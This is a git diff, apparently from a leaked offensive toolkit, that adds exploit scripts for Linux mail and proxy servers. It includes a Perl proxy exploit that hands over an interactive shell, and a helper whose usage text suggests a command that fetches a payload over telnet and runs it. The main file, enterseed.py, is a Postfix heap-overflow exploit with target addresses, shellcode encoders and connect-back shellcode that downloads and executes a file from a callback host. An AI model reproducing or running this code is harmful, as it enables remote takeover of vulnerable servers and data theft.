verify good connection\n"; + sleep $sock_verify_time; + my $wtf = 1; + # This loop is to account for redirectors and give squid time to reinitialize + # mth - added the wtf variable because often, this while loop would get skipped + # when it appears the socket was actuall NOT connected + # i can't explain it, but making the script go through this loop once hasn't + # failed me yet in the lab environment + while ( $wtf || !$sock_c->connected()) { + $wtf=0; + print "--! Client failed to connect, retrying...\n"; + # Connect to proxy to send test client request + $sock_c = &sock_connect($target_ip, $target_port); + print "--> Waiting $sock_verify_time seconds to verify good connection\n"; + sleep $sock_verify_time; + } + + print "--> Client appears to be connected\n"; + print "--> Sending client exploit request...\n"; + # Send test client request + syswrite($sock_c,$nasty_client_request); + + #&check_continue("er? (y/n)"); + + # Make sure we are not processing someone else's connection to us + $buf_r = "crap"; + while ($buf_r !~ /$http_client_tag/is) { + if ($buf_r ne "crap") { + print "--! EXTRANEOUS CONNECTION: IGNORED\n"; + shutdown($sock_r, 2); + } + # Accept proxy connection with listener + $sock_r = $listener->accept(); + $buf_r = &sock_read($sock_r); + # Print what was received + print "-" x 80 . "\n" . substr($buf_r,0,512) . "\n" . "-" x 80 . "\n"; + } + + $sock_r->blocking(0); + # Send exploit response + print "--> Sending initial payload\n"; + syswrite($sock_r,$nasty_server_response1) || die "Cant send first response: $!\n"; + print "--> Waiting $delay seconds to ensure memory alignment\n"; + sleep $delay; + # Read any residual crap on the socket buffer + $buf_r = &sock_read_quiet($sock_r); + print "--> Sending followup payload\n\n"; + syswrite($sock_r,$nasty_server_response2) || die "Cant send second response: $!\n"; +} + +################################################################################ +# Sub shell_interface +################################################################################ +sub shell_interface { + $s_arr = IO::Select->new(); + $s_arr->add($sock_r); + $s_arr->add(\*STDIN); + + print "in shell_interface, sock_r is [".$sock_r->sockhost().":".$sock_r->sockport()."] to [".$sock_r->peerhost().":".$sock_r->peerport()."]\n"; +# if($nopen) { +# # we need a local socket to redirect local sock_r.sockport to sock_r->peerhost:sock_r->peerport +# +# syswrite($nopen_sock, "s "); +# sleep 1; +# +# my $nopen_string = "l ".$sock_r->sockport()." ".$sock_r->peerhost()." ".$sock_r->peerport()." "; +# syswrite($nopen_sock, $nopen_string); +# sleep 1; +# } + + # Shellcode interface + my ($line); + while( @ready = $s_arr->can_read() ) { + foreach $fh (@ready) { + if ($fh == \*STDIN) { + # reads input from stdin and prints to socket + &read_input($sock_r); + + } elsif ($fh == $sock_r) { + if ( $sock_r->connected() ) { + &read_sock($sock_r); + $first_shell_read = 0; + } else { + print("shit: $!\n"); + shutdown($sock_r, 2); + exit; + } + } else { + print("shit: Shouldnt be here\n"); + #shutdown($sock_r, 2); + } + } + } + + # Close down connection to proxy and socket listener + shutdown($sock_c, 2) || die "$!\n"; + shutdown($listener, 2) || die "$!\n";; +} diff --git a/Linux/bin/eleganteagle-1.0.0.3.tar.gz b/Linux/bin/eleganteagle-1.0.0.3.tar.gz new file mode 100755 index 0000000..b29df03 Binary files /dev/null and b/Linux/bin/eleganteagle-1.0.0.3.tar.gz differ diff --git a/Linux/bin/eleganteagle-1.0.0.6.tar.gz b/Linux/bin/eleganteagle-1.0.0.6.tar.gz new file mode 100755 index 0000000..f5595ef Binary files /dev/null and b/Linux/bin/eleganteagle-1.0.0.6.tar.gz differ diff --git a/Linux/bin/eleganteagle-1.2.0.1.tar.gz b/Linux/bin/eleganteagle-1.2.0.1.tar.gz new file mode 100755 index 0000000..493d131 Binary files /dev/null and b/Linux/bin/eleganteagle-1.2.0.1.tar.gz differ diff --git a/Linux/bin/emptybowl.py b/Linux/bin/emptybowl.py new file mode 100755 index 0000000..9035ff9 --- /dev/null +++ b/Linux/bin/emptybowl.py @@ -0,0 +1,26 @@ +#!/usr/bin/python +import sys +import socket + +if(len(sys.argv) < 4): + print "" + print "Usage: %s " % sys.argv[0] + print " --NOTE: All spaces in will be replaced by \\t's" + print " -- A good default might be: " + print " 'mkdir /tmp/.scsi ; cd /tmp/.scsi && telnet |uudecode && PATH=. D=\"-c \" sendmail;'" + print "" + sys.exit(1) +target_ip = sys.argv[1] +port = int(sys.argv[2]) +commands = sys.argv[3] +if(commands[0] == " "): + commands = "\t"+commands[1:] +if(commands[len(commands)-1]==" "): + commands = commands[0:len(commands)-1] + "\t" +for i in range(0,len(commands)): + if(i>0 and i\n\n" + +} diff --git a/Linux/bin/encr.Linux b/Linux/bin/encr.Linux new file mode 100755 index 0000000..e0f468c Binary files /dev/null and b/Linux/bin/encr.Linux differ diff --git a/Linux/bin/encr.PC b/Linux/bin/encr.PC new file mode 100755 index 0000000..c8aa73f Binary files /dev/null and b/Linux/bin/encr.PC differ diff --git a/Linux/bin/enterseed.py b/Linux/bin/enterseed.py new file mode 100644 index 0000000..5ad8993 --- /dev/null +++ b/Linux/bin/enterseed.py @@ -0,0 +1,1129 @@ +#!/usr/bin/env python + +# Oct. 25 2004 +import exceptions +import socket +import string +import sys +import os +import signal +import smtplib +import time +import sha +from math import ceil,floor,fabs +from random import Random + + +### Set up callbackhandler +#from CallbackServer import * +#from SuccessRequestHandler import * + +# ENTERSEED version +ENTERSEED_version = "1.4.0.1" + +def done(signal, frame): + sys.exit(0) + + +path_to_asc = "./asc" +path_to_DUL = "./DUL" +#just some temp file names +unencoded_file = "tmp.unencoded" +encoded_file = "tmp.encoded" +msg_prefix = 'msg' + +#initialize list of alphanumerics +alphanums = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789' + +#initialize random number generator +g = Random(time.localtime()) + +def getRandAlphaNums(length): + str = "" + for i in range(0, length): + #str += "A" + str += alphanums[g.randrange(len(alphanums))]; + return str + +# These bytes have no purpose. c'est la vie. +plain_cmdshellcode_back = \ + "\x00\x00\x00\x00\x00\x00\x00\x00\x00" + +#original encoder/decoder scheme by rabutl2. postfix-2.0.14-41 on SuSE 9.0 garbles +#the decoder to pieces, so I opted for DULEncoder +decoder_wench = \ + '\x74\x3f\x75\x3d\x8a\x1e\x80\xeb\x61\x30\xd8\x81\xc6\x02\x01\x01' + \ + '\x01\x81\xee\x01\x01\x01\x01\xc3\x8b\x34\x24\x89\xf7\x31\xc0\xe8' + \ + '\xe0\xff\xff\xff\x80\xfb\x19\x74\x1d\xc1\xe0\x04\xe8\xd3\xff\xff' + \ + '\xff\x88\x07\x81\xc7\x02\x01\x01\x01\x81\xef\x01\x01\x01\x01\xeb' + \ + '\xdc\xe8\xd2\xff\xff\xff' + + +def getNextAddress(address): + byte0 = ord(address[0]) + search_scale + byte1 = ord(address[1]) + byte2 = ord(address[2]) + byte3 = ord(address[3]) + + while (byte0 > 255): + byte0 = byte0 - 256 + byte1 = byte1 + 1 + while (byte1 > 255): + byte1 = byte1 - 256 + byte2 = byte2 + 1 + while (byte2 > 255): + byte2 = byte2 - 256 + byte3 = byte3 + 1 + byte3 = byte3%256 + print "Trying address: %s %s %s %s" % (hex(byte3),hex(byte2),hex(byte1),hex(byte0)) + address = chr(byte0) + chr(byte1) + chr(byte2) + chr(byte3) + address[4:] + return address + +def sendMsg2(target_ip, message,s): + data = "mail from: %s\r\n" % from_user + #print "client: %s" %data + try: + s.send(data) + except socket.error: + print "Socket Error in sendMsg2" + return "ERR" + data = s.recv(1024) + #print "server: %s" %data + if(data[0:3] != "250" and not bruteforce): + print "server: %s" % data + print "Exiting due to mail delivery error. Maybe you need to change the sender and/or recipient addresses.\n" + sys.exit(1) + elif (data[0:3] != "250"): + print "server: %s" % data + return data + data = "rcpt to: %s\r\n" % to_user + #print "client: %s" %data + s.send(data) + data = s.recv(1024) + #print "server: %s" % data + if(data[0:3] != "250" and not bruteforce): + print "server: %s" % data + print "Exiting due to mail delivery error. Maybe you need to change the sender and/or recipient addresses.\n" + sys.exit(1) + elif (data[0:3] != "250"): + print "server: %s" % data + return data + data = 'data\r\n' + #print "client: %s" % data + s.send(data) + data = s.recv(1024) + #print "server: %s" % data + s.send(message) + s.send("\r\n.\r\n") + accept_response = s.recv(1024) + #print "server: %s" % accept_response + return accept_response + +def sendMsg(target_ip, message): + s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) + s.connect((target_ip, 25)) + data = s.recv(1024) + data = "mail from: %s\r\n" % from_user + s.send(data) + data = s.recv(1024) + data = "rcpt to: %s\r\n" % to_user + s.send(data) + data = s.recv(1024) + data = 'data\r\n' + s.send(data) + data = s.recv(1024) + s.send(message) + s.send("\r\n.\r\n") + accept_response = s.recv(1024) + print "server: %s" % accept_response + data = "quit\r\n" + s.send(data) + data = s.recv(1024) + s.close() + return accept_response + +def crashLoop(target_ip): + crash_count =0 + os.mkdir("crash_%s" % crash_count) + message_count=0 + while(1): + message="" + message += "Return-Path:" + message += alphanums[1] * g.randrange(200,4000) + message += ": Operator \r\n" + message += "From:" + message += alphanums[2] * g.randrange(200,4000) + message += ": Operator \r\n" + message += "Date:" + message += alphanums[3] * g.randrange(200,4000) + message += ": Operator \r\n" + f=open("crash_%s/message_%s.log" % (crash_count, message_count), 'w') + f.write(message) + f.close() + try: + response = sendMsg(target_ip, message) + except: + pass + message_count += 1 + if(response[0:3] == "451"): + crash_count += 1 + os.mkdir("crash_%s" % crash_count) + message_count = 0 + continue + #the sleeps in this script are only empirically based- they might change + #based on target host hardware. This one makes sure that cleanup can + #finish processing each message by the time the next one comes + #otherwise, it will spawn more cleanup processes to share the load and + #complicate our attempt to control the state of the heap + time.sleep(beforeCrashSleep) + +def crashCleanup2(target_ip,s): + while(1): + message="" + message += "Return-Path:" + message += alphanums[g.randrange(len(alphanums))] * g.randrange(200,2000) + message += ": Operator \r\n" + message += "From:" + message += alphanums[g.randrange(len(alphanums))] * g.randrange(200,2000) + message += ": Operator \r\n" + message += "Date:" + message += alphanums[g.randrange(len(alphanums))] * g.randrange(200,2000) + message += ": Operator \r\n" + response = sendMsg2(target_ip, message,s) + if(response[0:3] == "451"): + break + time.sleep(beforeCrashSleep) + +#a more randomized and hopefully less recognizable crashCleanup +def crashCleanup3(target_ip,s): + response="" + while(1): + message="" + message += "Return-Path:%s: %s %s %s %s<%s@%s.%s>\r\n" % (getRandAlphaNums(g.randrange(200,1000)),getRandAlphaNums(4),getRandAlphaNums(2),\ + getRandAlphaNums(3),getRandAlphaNums(4),getRandAlphaNums(4),getRandAlphaNums(10),getRandAlphaNums(3)) + #message += "From:%s<%s>\r\n" % ( getRandAlphaNums(g.randrange(200,2000)), getRandAlphaNums(19)) + message += "Date:%s\r\n" % (getRandAlphaNums(g.randrange(2000,4000))) + response = sendMsg2(target_ip,message,s) + if(response[0:3] == "451" or response[0:3] == "ERR"): + break + time.sleep(beforeCrashSleep) + + +def encoder_wench(input_string): + # Work (in C) to arrive at this encoding/decoding scheme attributed + encoded_string = [] + + input_string_length = len(input_string) + for i in range(0, input_string_length): + # Combining the leading/trailing nibbles with 'a' + # to form each successive byte of the encoded + # string...definitely NOT rocket science, but + # it gets us through the filter...which is cool... + next_byte = ord(input_string[i]) + encoded_string += chr(0x61 + ((next_byte >> 4) & 0xf)) + encoded_string += chr(0x61 + (next_byte & 0xf)) + + # 'z' as the terminator... + encoded_string += chr(0x7a) + + return(encoded_string) + +# this is a call out for the Alphanumeric Shellcode Compiler by Ceazar +# does the job, but at almost 10x the space of the original shellcode +# next, please +def ascEncode(unencoded_shellcode): + f=open(unencoded_file, 'w'); + f.write(unencoded_shellcode); + f.close() + os.system("%s -astack -scall -fbin -o %s %s" %(path_to_asc,encoded_file,unencoded_file)) + f=open(encoded_file,'r'); + #should only be one line + encoded_shellcode = f.readline() + f.close() + os.remove(unencoded_file) + os.remove(encoded_file) + return(encoded_shellcode) + +# the Digits+Uppercase+Lowercase encoder by rabutl2. only ~2.5x +# original shellcode. sweet. +def DULEncode(unencoded_shellcode): + f=open(unencoded_file, 'w'); + f.write(unencoded_shellcode); + f.close() + print "Running DUL encoder on shellcode" + os.system("%s %s %s > /dev/null" %(path_to_DUL,unencoded_file,encoded_file)) + f=open(encoded_file,'r'); + #should only be one line + encoded_shellcode = f.readline() + f.close() + #os.remove(unencoded_file) + #os.remove(encoded_file) + return(encoded_shellcode) + +#print "Arguments: ", sys.argv +hash = sha.new() +f=open(sys.argv[0]) +hash.update(f.read()) +print "ENTERSEED version: ", ENTERSEED_version +print "SHA hash:", hash.hexdigest() + +if(len(sys.argv) < 6): + print "ENTERSEED v%s" % ENTERSEED_version + print "Usage: %s -to [e-mail] -from [e-mail] -helo [host]" % sys.argv[0] + print "Options: -to [e-mail] The e-mail address the message being sent to, i.e. root@host.domain.com" + print " -from [e-mail The e-mail address the message being sent from, i.e root@sender.other_domain.com" + print " -helo [host] Sender hostname and domain, i.e. sender.other_domain.com" + print "Platforms 1: SuSE 9.0 RPM (postfix-2.0.14-41) from short hostname (0-19 chars)" + print " 2: SuSE 9.0 RPM (postfix-2.0.14-41) from long hostname (17-43 chars)" + print " 3: SuSE 9.1 RPM (postfix-2.0.19_20040312-11) " + print " 4: ASP Linux 9 RPM (postfix-2.0.8-1asp) from long hostname (17-43 chars)" + #print " 5: SuSE 9.2 RPM (postfix-2.1.5)" + #print " 6: Debian 3.1 (sarge) DEB (postfix-2.1.5)" + #print " 7: Fedora Core 2 RPM (postfix-2.0.18XXX)" + sys.exit(1) + + +# ______________________ +# =========================[ Platform Settings ]============================= +# ---------------------- +#postfix 2.0.19, compiled from source on RH8.0 +buffer_lengths_postfix2019src = [ [489, 1399, 1459], [1085, 1749, 757]] +addresses_postfix2019src ='\x94\x89\07\x08\x04\xf9\xff\xbf' +shellcode_front_postfix2019src = 'BBBBBBBx\x12BBBBBBBBBBBBBBBBBBB' +max_shellcode_len_postfix2019src = 327 + 78*16; +number_of_messages_postfix2019src = 2 +#indexes (count from 0) +shellcode_at_msg_postfix2019src = 1 +shellcode_at_hdr_postfix2019src = 1 +# +#postfix 2.0.14-41 SuSE 9.0 binary rpm +buffer_lengths_SuSE90 = [ [826, 1456, 1585],[672,997,1699]] +#addresses_SuSE90 = '\x02\x77\x08\x08\x38\x02\x3d\x40' +#addresses_SuSE90 = '\x88\x76\x08\x08\x38\x02\x3d\x40' +addresses_SuSE90 = '\xec\xa1\x08\x08\xa8\xd5\x06\x08' +#shellcode_front_SuSE90 = 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC' +#shellcode_front_SuSE90 = 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\x57\x59\x81\xc1\xff\xff\x01\x01\x81\xe9\x01\x01\x01\x01\xff\xe1' +shellcode_front_SuSE90 = 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\x31\xc0\x59\x84\xc0\x75\x06\x48\xe8\xf5\xff\xff\xff' +nop_sled_offset_SuSE90 = 47 +max_shellcode_len_SuSE90 = 1544 +number_of_messages_SuSE90 = 2 +#indexes (count from 0) +shellcode_at_msg_SuSE90 = 1 +shellcode_at_hdr_SuSE90 = 2 +#postfix 2.0.14-41 from SERVFAIL host +buffer_lengths_SuSE90_2 = [ [503,1809,301],[1044,1214,1996]] +addresses_SuSE90_2 = '\x72\x39\x08\x08\xa8\xd5\x06\x08' +shellcode_front_SuSE90_2 = 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\x31\xc0\x59\x84\xc0\x75\x06\x48\xe8\xf5\xff\xff\xff' +nop_sled_offset_SuSE90_2 = 47 +max_shellcode_len_SuSE90_2 = 1544 +number_of_messages_SuSE90_2 = 2 +#indexes (count from 0) +shellcode_at_msg_SuSE90_2 = 1 +shellcode_at_hdr_SuSE90_2 = 2 + + +# postfix-2.0.19_20040312-11 SuSE 9.1 binary rpm +buffer_lengths_SuSE91 = [ [640,1306,1853],[1125,1076,1358]] +addresses_SuSE91 = '\x70\x13\x08\x08\x50\x17\x07\x08' +#shellcode_front_SuSE91 = '\x68\x43\x2d\x08\x08\x75\x06\x74\x04CCCC\x59' +#shellcode_front_SuSE91 = 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\x56\x59\x81\xc1\xff\xff\x01\x01\x81\xe9\x01\x01\x01\x01\xff\xe1' +shellcode_front_SuSE91 = 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\x31\xc0\x59\x84\xc0\x75\x06\x48\xe8\xf5\xff\xff\xff' +nop_sled_offset_SuSE91 = 47 +max_shellcode_len_SuSE91 = 1544 +number_of_messages_SuSE91 = 2 +#indexes (count from 0) +shellcode_at_msg_SuSE91 = 1 +shellcode_at_hdr_SuSE91 = 2 + +#postfix 2.0.8-1asp ASP Linux 9.0 +#0x8070638 +#0x8080628 +#0x8070560 +buffer_lengths_ASP = [ [557, 1297, 1592],[1153,1647,890]] +#addresses_ASP = '\xcb\x01\x08\x08\x30\x06\x07\x08' +addresses_ASP = '\xd0\x04\x08\x08\x60\x05\x07\x08' +#shellcode_front_ASP = 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC' +#shellcode_front_ASP = 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\x81\xc1\xff\xff\xff\xff\xff\xe1' +#shellcode_front_ASP= 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\x56\x59\x81\xc1\xff\xff\x01\x01\x81\xe9\x01\x01\x01\x01\xff\xe1' +shellcode_front_ASP = 'CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC\x31\xc0\x59\x84\xc0\x75\x06\x48\xe8\xf5\xff\xff\xff' +nop_sled_offset_ASP = 47 +#max_shellcode_len_ASP = 1552 +max_shellcode_len_ASP = 1544 +number_of_messages_ASP = 2 +#indexes (count from 0) +shellcode_at_msg_ASP = 1 +shellcode_at_hdr_ASP = 1 + +# Fedora Core 2 +buffer_lengths_FC2 = [ [530,1306,1853],[1125,1076,1658]] +#addresses_FC2 = '\xd0\x22\x07\x08\x21\x74\x05\x08' +#addresses_FC2 = '\x34\x23\x07\x08\xf4\x35\x07\x08' +addresses_FC2 = '\x84\x23\x07\x08\x62\x31\x06\x08' +shellcode_front_FC2 = '\x68\x43\x2d\x08\x08\x75\x06\x74\x04CCCC\x59' +max_shellcode_len_FC2 = 1589 +number_of_messages_FC2 = 2 +#indexes (count from 0) +shellcode_at_msg_FC2 = 1 +shellcode_at_hdr_FC2 = 2 +#0x8057421 + +#settings for the wild - these might be used to tweak the reliability +gen2 = 0; +justcrash = 0 +crashloop = 0 +bruteforce = 0 +nocrash = 0 +only99 = 0 +do99 = 0 +keep_socket = 1 +sleep99 = .25 +beforeCrashSleep = .5 +afterCrashSleep = 1 +loopSleep = 5 +address_search = 0 +target = "" +extratrigger = 0 +nohelo = 0 + +#bruteforce ranges +initial_offset1= 0 +initial_offset2 = 0 +initial_step1= 1 +initial_step2= 1 +max_offset1= 1000 +max_offset2 = 1000 +holdoffset1 = 0 +holdoffset2 = 0 +randomoffset1 = 0 + +#deal with diversity + +if(sys.argv[5] == '0'): + print "Creating messages for postfix-2.0.19 compiled from src" + buffer_lengths = buffer_lengths_postfix2019src + addresses = addresses_postfix2019src + shellcode_front = shellcode_front_postfix2019src + max_shellcode_len = max_shellcode_len_postfix2019src + number_of_messages = number_of_messages_postfix2019src + shellcode_at_msg = shellcode_at_msg_postfix2019src + shellcode_at_hdr = shellcode_at_hdr_postfix2019src + nop_sled_offset = nop_sled_offset_postfix2019src +elif (sys.argv[5] == '1'): + print "Creating messages for SuSE 9.0 (RPM) postfix-2.0.14-41 (from short hostname)" + buffer_lengths = buffer_lengths_SuSE90_2 + addresses = addresses_SuSE90_2 + shellcode_front = shellcode_front_SuSE90_2 + max_shellcode_len = max_shellcode_len_SuSE90_2 + number_of_messages = number_of_messages_SuSE90_2 + shellcode_at_msg = shellcode_at_msg_SuSE90_2 + shellcode_at_hdr = shellcode_at_hdr_SuSE90_2 + nop_sled_offset = nop_sled_offset_SuSE90_2 +elif (sys.argv[5] == '2'): + print "Creating messages for SuSE 9.0 (RPM) postfix-2.0.14-41 (from long hostname)" + buffer_lengths = buffer_lengths_SuSE90 + addresses = addresses_SuSE90 + shellcode_front = shellcode_front_SuSE90 + max_shellcode_len = max_shellcode_len_SuSE90 + number_of_messages = number_of_messages_SuSE90 + shellcode_at_msg = shellcode_at_msg_SuSE90 + shellcode_at_hdr = shellcode_at_hdr_SuSE90 + nop_sled_offset = nop_sled_offset_SuSE90 +#elif (sys.argv[5] == '3'): +# print "Creating messages for SuSE 9.1 (RPM) postfix-2.0.19_20040312-11" +# buffer_lengths = buffer_lengths_SuSE91 +# addresses = addresses_SuSE91 +# shellcode_front = shellcode_front_SuSE91 +# max_shellcode_len = max_shellcode_len_SuSE91 +# number_of_messages = number_of_messages_SuSE91 +# shellcode_at_msg = shellcode_at_msg_SuSE91 +# shellcode_at_hdr = shellcode_at_hdr_SuSE91 +# nop_sled_offset = nop_sled_offset_SuSE91 + +elif (sys.argv[5] == '4'): + print "Creating messages for ASP Linux 9 (RPM) postfix-2.0.8-1asp" + buffer_lengths = buffer_lengths_ASP + addresses = addresses_ASP + shellcode_front = shellcode_front_ASP + max_shellcode_len = max_shellcode_len_ASP + number_of_messages = number_of_messages_ASP + shellcode_at_msg = shellcode_at_msg_ASP + shellcode_at_hdr = shellcode_at_hdr_ASP + nop_sled_offset = nop_sled_offset_ASP +elif (sys.argv[5] == '3'): + print "Creating messages for SuSE 9.1 (RPM) postfix-2.0.19-20040312" + gen2 = 1; + target = "SUSE91"; + buffer_lengths = buffer_lengths_SuSE91 + addresses = addresses_SuSE91 + shellcode_front = shellcode_front_SuSE91 + max_shellcode_len = max_shellcode_len_SuSE91 + number_of_messages = number_of_messages_SuSE91 + shellcode_at_msg = shellcode_at_msg_SuSE91 + shellcode_at_hdr = shellcode_at_hdr_SuSE91 + nop_sled_offset = nop_sled_offset_SuSE91 +elif (sys.argv[5] == '5'): + print "Creating messages for SuSE 9.2 (RPM) postfix-2.1.5" + gen2 = 1; + target = "SUSE92"; + buffer_lengths = buffer_lengths_SuSE91 + addresses = addresses_SuSE91 + shellcode_front = shellcode_front_SuSE91 + max_shellcode_len = max_shellcode_len_SuSE91 + number_of_messages = number_of_messages_SuSE91 + shellcode_at_msg = shellcode_at_msg_SuSE91 + shellcode_at_hdr = shellcode_at_hdr_SuSE91 + nop_sled_offset = nop_sled_offset_SuSE91 +elif (sys.argv[5] == '6'): + print "Creating messages for Debian 3.1 (sarge) (DEB) postfix-2.1.5" + gen2 = 1; + target = "DEBIAN31"; +elif (sys.argv[5] == '7'): + print "Creating messages for Red Hat Enterprise Linux 3.6 postfix-2.0.16-4" + gen2 = 1; + target = "RHEL3.6"; +elif (sys.argv[5] == '8'): + print "Creating messages for Fedora Core 2 (RPM) postfix-2.0.18" + buffer_lengths = buffer_lengths_FC2 + addresses = addresses_FC2 + shellcode_front = shellcode_front_FC2 + max_shellcode_len = max_shellcode_len_FC2 + number_of_messages = number_of_messages_FC2 + shellcode_at_msg = shellcode_at_msg_FC2 + shellcode_at_hdr = shellcode_at_hdr_FC2 + nop_sled_offset = nop_sled_offset_FC2 + +# ______________________ +# =========================[ Target Settings ]============================= +# ---------------------- +#gen1 defs +if(gen2!=1): + addresses_len = len(addresses) + shellcode_front_len = len(shellcode_front) +#set target ip and sender/receiver names +target_ip = sys.argv[1] +target_port = int(sys.argv[2]) +#get the callback ip and port and make it shellcode-happy +host = socket.inet_aton(sys.argv[3]) +callback_port = int(sys.argv[4]) +port_low = callback_port & 0xff +port_high = (callback_port >> 8) & 0xff +port_str = "%c%c" %(port_low,port_high) + +#jmpSledSize should be a multiple of the number of instructions (3) +jmpSledSize = 900 +postShellcodePad = 100 + +#must be 3 characters long! +uploaded_filename = 'ncd' +#message must be addressed to a valid recipient. 'root' often works +to_user = 'root' +from_user = 'root' +helo_hostname = 'localhost' + +if(len(sys.argv) >= 6): + i=6; + while i < len(sys.argv): + if(sys.argv[i][0:len("-to")] == "-to"): + to_user = sys.argv[i][len("-to"):] + if(to_user == ""): + i=i+1; + to_user = sys.argv[i] + elif(sys.argv[i][0:len("-from")] == "-from"): + from_user = sys.argv[i][len("-from"):] + if(from_user == ""): + i=i+1; + from_user = sys.argv[i] + elif(sys.argv[i][0:len("-helo")] == "-helo"): + helo_hostname = sys.argv[i][len("-helo"):] + if(helo_hostname == ""): + i=i+1; + helo_hostname = sys.argv[i] + elif(sys.argv[i][0:len("-filename")] == "-filename"): + uploaded_filename = sys.argv[i][len("-filename"):] + if(len(uploaded_filename) >3): + print "Error: Uploaded filename must be 3 characters!" + sys.exit(1) + elif(sys.argv[i][0:len("-search")] == "-search"): + address_search = 1 + str = sys.argv[i][len("-search"):] + if(str== ""): + i=i+1; + str= sys.argv[i] + search_scale = int(str); + elif(sys.argv[i][0:len("-max_offset1")] == "-max_offset1"): + str = sys.argv[i][len("-max_offset1"):] + if(str== ""): + i=i+1; + str= sys.argv[i] + max_offset1 = int(str); + elif(sys.argv[i][0:len("-max_offset2")] == "-max_offset2"): + str = sys.argv[i][len("-max_offset2"):] + if(str== ""): + i=i+1; + str= sys.argv[i] + max_offset2 = int(str); + elif(sys.argv[i][0:len("-start1")] == "-start1"): + str = sys.argv[i][len("-start1"):] + if(str== ""): + i=i+1; + str= sys.argv[i] + initial_offset1 = int(str); + elif(sys.argv[i][0:len("-start2")] == "-start2"): + str = sys.argv[i][len("-start2"):] + if(str== ""): + i=i+1; + str= sys.argv[i] + initial_offset2 = int(str); + elif(sys.argv[i][0:len("-step1")] == "-step1"): + str = sys.argv[i][len("-step1"):] + if(str== ""): + i=i+1; + str= sys.argv[i] + initial_step1 = int(str); + elif(sys.argv[i][0:len("-step2")] == "-step2"): + str = sys.argv[i][len("-step2"):] + if(str== ""): + i=i+1; + str= sys.argv[i] + initial_step2 = int(str); + elif(sys.argv[i] == "-getcallback"): + signal.signal(signal.SIGUSR1,done) + #signal.signal(signal.SIGCHLD,done) + child = os.fork() + if(child): + print "Spawning child process (%d) to listen for callback" % child + server = CallbackServer(('',callback_port),SuccessRequestHandler) + try: + server.handle_request() + os.kill(child,signal.SIGUSR1) + os.wait() + sys.exit(0) + except KeyboardInterrupt: + sys.exit(0) + elif(sys.argv[i] == "-extratrigger"): + extratrigger = 1 + elif(sys.argv[i] == "-randomoffset1"): + randomoffset1 = 1 + elif(sys.argv[i] == "-holdoffset1"): + holdoffset1 = 1 + elif(sys.argv[i] == "-holdoffset2"): + holdoffset2 = 1 + elif(sys.argv[i] == "-nohelo"): + nohelo = 1 + #secret options. these might be used to tune the heap + #but testing shows defaults are best! + elif(sys.argv[i] == "-justcrash"): + justcrash = 1 + elif(sys.argv[i] == "-crashloop"): + crashloop = 1 + elif(sys.argv[i] == "-bruteforce"): + bruteforce = 1 + elif(sys.argv[i] == "-nocrash"): + nocrash = 1 + else: + print "Unknown option: %s" % sys.argv[i] + sys.exit(1) + i = i+1 + if (nocrash == justcrash == 1): + print "-nocrash and -justcrash are mutually exclusive!" + sys.exit(1) + +# ______________________ +# =========================[ Shellcode ]============================= +# ---------------------- +# Because some versions of postfix chroot cleanup to /var/spool/postfix, +# anything we want to do we have to bring with us. The shellcode below +# opens a socket to "host" at "port" and reads until it receives an EOF. +# As it reads, it writes the incoming data to a file and then executes +# the file. The stdin and stdout descriptors are dup'ed to the socket, +# so if the program's input and output should go over the socket. +plain_cmdshellcode_front = \ + '\x33\xc0' + \ + '\x68' + "%s" % host + \ + '\x68\x02\x00' + "%c%c" %(port_high,port_low) +\ + '\x89\xe7' + \ + '\x50' + \ + '\x6a\x01' + \ + '\x6a\x02' + \ + '\x89\xe1' + \ + '\xb0\x66' + \ + '\x31\xdb' + \ + '\x43'+ \ + '\xcd\x80' + \ + '\x6a\x10' + \ + '\x57'+ \ + '\x50'+ \ + '\x89\xc7' + \ + '\x89\xe1' + \ + '\xb0\x66' + \ + '\x43'+ \ + '\x43'+ \ + '\xcd\x80' + \ + '\x3c\x00' + \ + '\x75\x75' + \ + '\x31\xc0' + \ + '\x50' + \ + '\x68' + "/%s" %uploaded_filename[0:3] + \ + '\x68' + 'ming' + \ + '\x68' + 'inco' + \ + '\x89\xe3' + \ + '\x33\xc9' + \ + '\xb9\x41\x02\x00\x00' + \ + '\xba\xff\x01\x00\x00' + \ + '\xb0\x05' + \ + '\xcd\x80' + \ + '\x3c\x00' + \ + '\x76\x4f' + \ + '\x89\xc6' + \ + '\x33\xc0' + \ + '\x01\xe0' + \ + '\x04\x50' + \ + '\x8b\xc8' + \ + '\x33\xd2' + \ + '\xb2\x01' + \ + '\x89\xfb' + \ + '\x33\xc0' + \ + '\xb0\x03' + \ + '\xcd\x80' + \ + '\x3c\x00' + \ + '\x74\x0e' + \ + '\x89\xf3' + \ + '\x33\xc0' + \ + '\xb0\x04' + \ + '\xcd\x80' + \ + '\x3c\x00' + \ + '\x76\x29' + \ + '\xeb\xe6' + \ + '\x89\xf3' + \ + '\xb0\x06' + \ + '\xcd\x80' + \ + '\x89\xfb' + \ + '\x31\xc9' + \ + '\xb1\x03' + \ + '\x31\xc0' + \ + '\xb0\x3f' + \ + '\x49' + \ + '\xcd\x80' + \ + '\x41' + \ + '\xe2\xf6' + \ + '\x89\xe3' + \ + '\x31\xc0' + \ + '\x50' + \ + '\x53' + \ + '\x89\xe1' + \ + '\x99' + \ + '\xb0\x0b' + \ + '\xcd\x80' + \ + '\xb0\x0a' + \ + '\xcd\x80' + \ + '\x89\xd8' + \ + '\x31\xc0' + \ + '\xb0\x01' + \ + '\xcd\x80' +# ============================================================================ + + +plain_cmdshellcode = \ + plain_cmdshellcode_front + \ + plain_cmdshellcode_back; 